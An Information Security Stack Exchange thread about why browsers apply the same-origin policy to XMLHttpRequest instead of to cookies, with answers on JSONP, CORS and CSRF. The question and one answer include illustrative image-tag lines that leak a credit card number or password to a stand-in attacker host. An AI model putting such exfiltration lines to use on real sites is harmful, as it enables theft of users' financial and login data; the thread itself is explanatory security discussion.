Take the 2-minute tour ×
Information Security Stack Exchange is a question and answer site for Information security professionals. It's 100% free, no registration required.

I get that I don't want a page loaded from stackoverflow.com to be able to request gmail.com on my behalf and read my email--but this seems to be simply a cookie issue.

Since JSONP bypasses same-origin entirely, I want to know why, instead of making XMLHTTPRequest conform to same-origin, the browser doesn't just apply same-origin to cookies. In other words, if the page was loaded from stackoverflow.com, the browser will only send cookies to XHRs to stackoverflow.com. An XHR to Facebook would be prevented from sending the user's cookies and yield the logged-out view of Facebook.

At first I was thinking it's just an "extra layer" of security, "just in case" somebody has compromised one site already by putting in a script that ajaxes your password/bank account number out to "malicioushacker.ru". However since you could use JSONP in that case, or even just make an <img src="http://malicious.example/steal?creditcard=1234123412341234"> tag, this isn't what's being prevented.

share|improve this question

migrated from stackoverflow.com Mar 23 '12 at 17:00

This question came from our site for professional and enthusiast programmers.

4 Answers 4

Your premise is wrong. Script tags and JSON don't bypass the same-origin policy.

The same-origin policy says that evil.com should not be able to read the responses for arbitrary resources on victim.com. Note that Javascript from evil.com can trigger nearly arbitrary requests to be sent to victim.com (e.g., by creating an IFRAME pointing to http://victim.com/whatever.html). However, the Javascript from evil.com cannot read the contents of that document: i.e., it cannot read the response to that request.

Now perhaps what you are thinking of is that evil.com can ask the browser to load arbitrary code from anywhere on victim.com and then execute it with all of evil.com's permissions. That's not a bypass of the same-origin policy. (Note also that it tends to be a security risk, for the party who is loading Javascript from third-party sites.)

XHRs have to be restricted, because XHR allows Javascript to not only trigger a request to be sent, but also allows Javascript to read the response. The same-origin policy forbids that, for cross-origin requests. The same-origin policy says that reading the response is something that should only be allowed if the request is to the same origin as the origin of the Javascript code. Thus, Javascript from evil.com is allowed to issue a XHR to http://evil.com/doit and read the response, but it is not allowed to issue a XHR to http://victim.com/doit and read the response.

If you want to issue cross-origin XHRs, then the target domain will need to authorize you to send it cross-origin XHRs. Look into CORS for ways to do that.

share|improve this answer
1  
"evil.com can ask the browser to load arbitrary code from anywhere on victim.com and execute it, with all of evil.com's permissions. That's not a bypass of the same-origin policy." Yes it is. The code http://victim.com/script is downloaded with the permissions (cookies, etc.) of the user on http://victim.com, not the permissions on http://evil.com as it logically should. –  curiousguy Jul 13 '12 at 1:46
    
(...) as described here"this cross-domain payload" –  curiousguy Jul 13 '12 at 1:57
    
@curiousguy, no it isn't. It might violate what you think the same-origin policy ought to enforces, but it does not violate what the same-origin policy (as implemented in browsers) actually enforces. The phrase "same-origin policy" is a term of art; it means something very specific (not, whatever you wish browsers would do). See the Browser security handbook, especially the sections on Browser-side Javascript and Same-origin policy. –  D.W. Jul 13 '12 at 18:18
1  
@curiousguy, A source of possible confusion is the difference between permissions used when downloading content vs when executing it. Suppose evil.com includes SCRIPT SRC=victim.com/stuff.js in its page. Then the code from victim.com is downloaded with victim.com's cookies, but it is executed with evil.com's permissions (it is in evil.com's security context, running with ability to access everything evil.com can). This distinction is important. Make sure to keep 'em straight, as they're different and have different security implications! –  D.W. Jul 13 '12 at 18:22
1  
@curiousguy "[this] is an obvious same-origin violation" - No, actually, it isn't. I apologize for contradicting you, but the simple fact is: it isn't. As I already said, the same-origin policy is a technical term that already has an accepted meaning. I get that you don't like that meaning and wish it meant something different. I feel your pain. But, you know what? Under the accepted meaning of the term, the behavior of SCRIPT SRC=anotherdomain.com/foo.js is not a violation of the same-origin policy. If you want to work in this area, you need to learn the terminology. –  D.W. Jul 26 '12 at 6:22

Since JSONP bypasses same-origin entirely

It absolutely does not. For you to use a website with JSONP, the website has to make provisions to ALLOW you to do this. For example, note the following headers for http://jsonip.com, a service to get the browser's IP client side:

Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET

Without those in the response, the browser would not allow you to read the response from that page. Note that these headers are not a part of JSONP, but are necessary to allow any Cross Origin Resource Sharing or CORS.

At first I was thinking it's just an "extra layer" of security, "just in case" somebody has compromised one site already by putting in a script that ajaxes your password/bank account number out to "malicioushacker.ru"

JSONP wasn't created as a security mechanism - it is actually a security risk if used from untrusted third party sites (i.e. you're executing code from untrusted data on your trusted domain). Here are a couple of great answers that do a good job of doing what JSONP really does:

http://stackoverflow.com/questions/2067472/what-is-jsonp-all-about http://stackoverflow.com/questions/5943630/basic-example-of-using-ajax-with-jsonp

The scenario you're describing here is possible if there's a script injection vulnerability within the page - if the page had an XSS vulnerability, especially a stored one, then an attacker would just inject this script tag at will and receive whatever data he needs.

It seems that the problem with xmlhttprequest is that cookies associated with the current page's domain A would also be sent with an HTTP request on another domain B instead of using only the cookies stored for domain B or no cookies at all. Is this true?

This is not true at all. Cookies scoped to Domain A are limited to Domain A only, the browser would never send them to Domain B, even if it's a JSONP request. D.W's answer is a fairly accurate description of how the same-origin policy works.

share|improve this answer
    
The start of your answer is a bit confusing. It seems to imply that these headers are part of the JSONP implementation. That's not correct: the headers are only used for CORS, which is another modern way of sharing resources across origins. –  Rob W Dec 19 '13 at 8:46
    
Edited to reflect that, thanks! –  Karthik Rangarajan Dec 19 '13 at 19:24
1  
I'm not sure that the edits have cleared it up completely. Whilst it's true that websites need to make provisions to allow users to use JSONP, these provisions are completely different to the provisions for CORS, which you describe. To support JSONP, it needs to allow users to make requests with a ?jsonp=something query string, which wraps the response in a function call like something(<json response>). Neither the client nor the server need to support CORS to support JSONP, and vice versa. jsonip.com does not appear to support JSONP. –  James_pic Mar 14 at 11:06
    
I stand corrected on one point. jsonip.com does support jsonp, at urls like jsonip.com/my_callback. You can test it by adding <script src="http://jsonip.com/alert"></script> to a HTML page. It should work in any browser, even browsers without CORS support. –  James_pic Mar 14 at 11:22
    
Access-Control-Allow-Origin and Access-Control-Allow-Methods are not required to perform jsonp. See my response below. –  Alexey Jun 10 at 7:44

I don't understand why so many people upvote answers that say JSONP doesn't bypass same-origin.
Maybe people understand the word "bypass" in some very specific meaning, but in general sense, you can do anything you can do with javascript using jsonp and it doesn't matter if the Access-Control-Allow-Origin header is set or not.

Here's a quick example you can run on your own machine - just open this html file in your browser locally (you obviously will have to replace urls):

<!DOCTYPE html>
<html>
<head lang="en">
    <meta charset="UTF-8">
    <title></title>
</head>
<body>

<script>
    (function() {
        // Testing if XMLHttpRequest is restricted by same-origin
        var http = new XMLHttpRequest();
        var url = "http://www.othersite.com/?get=test";
        http.open( "GET", url, true );
        http.onreadystatechange = function () {
            if ( http.readyState == 4 ) {
                if ( http.status == 200 ) {
                    console.log("Recieved response from server: " + http.responseText);
                } else {
                    console.log("Failed to recieve response from server, status code : " + http.status);
                }
            }
        }
        http.send( ); // this will fail in most browsers
    }());
</script>

<script>
    (function() {
        //Testing if JSONP is restricted by same-origin
        var s = document.createElement('script');
        s.type = 'text/javascript';
        s.src = 'http://www.othersite.com/script.js';
        document.body.appendChild(s);
    }());

    var jsonpCallback = function( json ) {
        //this will work in all browsers
        console.log("Recieved response from server: " + json);
    }
</script>


</body>
</html>

Where http://www.othersite.com/script.js can contain any data and any functions. The most trivial example would be:

(function() {
  jsonpCallback("Hello, jsonp!");
}());

Since script.js can be generated on the server-side, the above example allows you to not only exchange any data between your host and 3rd party host, but it also allows you to exchange any code, which is great for programming, but not so great for security.

As for the original question, I think that if you use XHR and Access-Control-Allow-Origin consistently, you'll probably improve your site security, in the sense that unlike jsonp, XHR cannot execute arbitrary code.
And yes, applying same-origin to cookies seems like a pretty good idea to me. But it's just not the way it is.

share|improve this answer

Requests that can cause "side-effects" should only be done as POSTs. Restricting XHRs to the same domain can stop JSON POST actions being carried out other than on the domain of the site that you are on, which can help reduce CSRF vulnerabilities. For this to be effective, there needs to be server side checks of either the Origin header or a custom one such as X-Requested-With as custom headers cannot be sent cross domain without CORS. This is because although reading of the response is protected by the Same Origin Policy, there is no restriction of the actual cross-domain POST request from being made in the first place.

It won't help in your example where the compromised site can send data to another site using <img src="www.example.com/?password=1234" /> but it is figured if one site has been compromised, it could simply be logging or sending passwords server-side anyway (technically harder, but by no means impossible).

There is support within CORS for whether cookies are accepted cross domain (Access-Control-Allow-Credentials). This also covers other authentication methods too, rather than only cookies.

share|improve this answer
    
@D.W., Does any browser support JSON encoding for form based POSTs? –  Hendrik Brummermann Mar 24 '12 at 0:16
    
@HendrikBrummermann, I don't know, but I would not rely upon it being impossible. It's a very fragile area. Examples: (1) Firefox and IE allow Javascript to create and submit a form with ENCTYPE=text/plain and almost arbitrary contents, so you can send a POST with a JSON body (but not application/json MIME type). –  D.W. Mar 24 '12 at 4:57
    
(2) I think that older versions of Flash allowed a Flash applet to submit a cross-origin POST with an arbitrary MIME content type and body. If this is correct, it would provide a way that (for older versions of Flash) could be used to send a POST with a JSON-encoded body. I have not verified this. And I'm pretty certain this is fixed in modern versions of Flash player. –  D.W. Mar 24 '12 at 5:01
    
(3) On IE6, it is possible to inject newlines into some header values. Consequently, I think that on IE6, if you're accessing the web through a proxy it may be possible to send a cross-origin POST with an arbitrary MIME content type and body, by inserting newlines and extra stuff to create the appearance of a second HTTP request (I don't know whether it's possible to arrange that browser cookies be attached to the fake POST request). I have not verified this conjecture. –  D.W. Mar 24 '12 at 5:09
    
In summary, I'm not sure you can rely upon browsers to restrict the contents of POSTs. It's "there be dragons" territory. I think you can rely upon browsers to not let Javascript view the response to a cross-origin request, but I'm not sure you can count on them to prevent sending cross-origin POSTS or to limit their contents (or, at least, I'm not sure exactly what restrictions you can count on to be enforced). Bonus comment: Restricting XHRs is not an effective defense against CSRF. To reliably stop CSRF, you must use CSRF tokens, unguessable URLs, or similar defenses. –  D.W. Mar 24 '12 at 5:16

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.